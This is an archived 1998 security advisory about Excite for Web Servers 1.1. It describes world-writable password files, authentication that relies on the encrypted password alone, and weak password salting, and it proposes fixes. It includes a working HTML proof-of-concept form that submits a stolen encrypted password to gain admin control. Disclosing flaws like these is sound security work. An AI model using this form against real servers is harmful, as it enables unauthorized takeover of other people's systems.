home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / excite-web.txt < prev    next >
Text File  |  1999-11-04  |  3KB  |  74 lines
  1.  
  2. Date:         Mon, 30 Nov 1998 17:20:04 -0600
  3. From:         Michael Gerdts <gerdts@CAE.WISC.EDU>
  4. Subject:      Security bugs in Excite for Web Servers 1.1
  5.  
  6. On November 11 I reported the folloing problmes to ewsbugs@excite.com.  I
  7. have only recieved an automated reply.
  8.  
  9. I have found numerous security concerns with EWS 1.1 which can lead to an
  10. ordinary user being able to gain control over EWS.
  11.  
  12. Problem: The installation program installs several files with world-write
  13.     permissions.  This is bad because one of them (Architext.conf)
  14.     contains the encrypted password which is used for all authentication.
  15.     Because of this, any user with shell or non-anonymous FTP access
  16.     to the web server could modify the encrypted password.
  17.  
  18. Solution: At install time, ask the administrator for the username or uid
  19.     that CGI scripts are run as.  Make the excite installation directory
  20.     restrictive enough such that only this user can get into the directory
  21.     and make sure that no files are world-writable.  Because of other
  22.     concerns (such as dictionary attacks) this file should not be
  23.     world-readable.
  24.  
  25. Problem: All authentication after the initial access to AT-admin.cgi relies
  26.     solely on the encrypted password.  Since any user with shell or FTP
  27.     access can read Architext.conf, it is trivial for local users to
  28.     gain administrative privileges over EWS.  Thus, a user only needs to
  29.     have a web page that looks like:
  30.  
  31.         <html> <head><title>exploit</title>
  32.         <body>
  33.         <p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi" METHOD=POST>
  34.         <INPUT TYPE="hidden" NAME="db" VALUE="personal">
  35.         <INPUT TYPE="submit" NAME="Reload" VALUE="Reload">
  36.         Reload this page, in case the log file or status  has changed.
  37.         <INPUT TYPE="hidden" NAME="Dump" VALUE="dummy">
  38.         <INPUT TYPE="hidden" NAME="File" VALUE="/usr/local/etc/excite/collections/AT-personal.prog">
  39.         <INPUT TYPE="hidden" NAME="Type" VALUE="progress">
  40.         <INPUT TYPE="hidden" NAME="ENCRYPTEDPASS" VALUE="ENCRYPTEDPASS">
  41.         </FORM><BR>
  42.         </body>
  43.         </html>
  44.  
  45.     Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS with
  46.     values that make sense for your situation.  By accessing this page
  47.     and clicking on the button you get to a menu that behaves exactly
  48.     as if you knew the unencrypted password.
  49.  
  50. Solution: I am not an expert in web security.  There certainly must be
  51.     better solutions.
  52.  
  53. Problem:  Passwords are not encrypted properly.  Note that the first
  54.     two characters of the encrypted password are always the first two
  55.     characters of the plain-text password.  For example, if you choose
  56.     the password "blah", the encrypted password is "blk1x.w.ISlDw".
  57.  
  58.     In light of the fact that the plain-text password is not needed for
  59.     adminstrative control (above), this problem is not that significant.
  60.     Since this same password may be used other places it should be
  61.     protected better.  If a dictionary attack for the password is
  62.     done, only those words that start with "bl" need be examined.
  63.     If a brute force attack is used, the number of guesses goes down
  64.     significantly
  65.  
  66. Solution:  Encrypt passwords using random salts.  Even using "aa" as the
  67.     salt in every case would be more secure.
  68.  
  69. --
  70. Michael Gerdts
  71. UNIX Systems Administrator
  72. Computer-Aided Engineering Center
  73. University of Wisconsin - Madison
  74.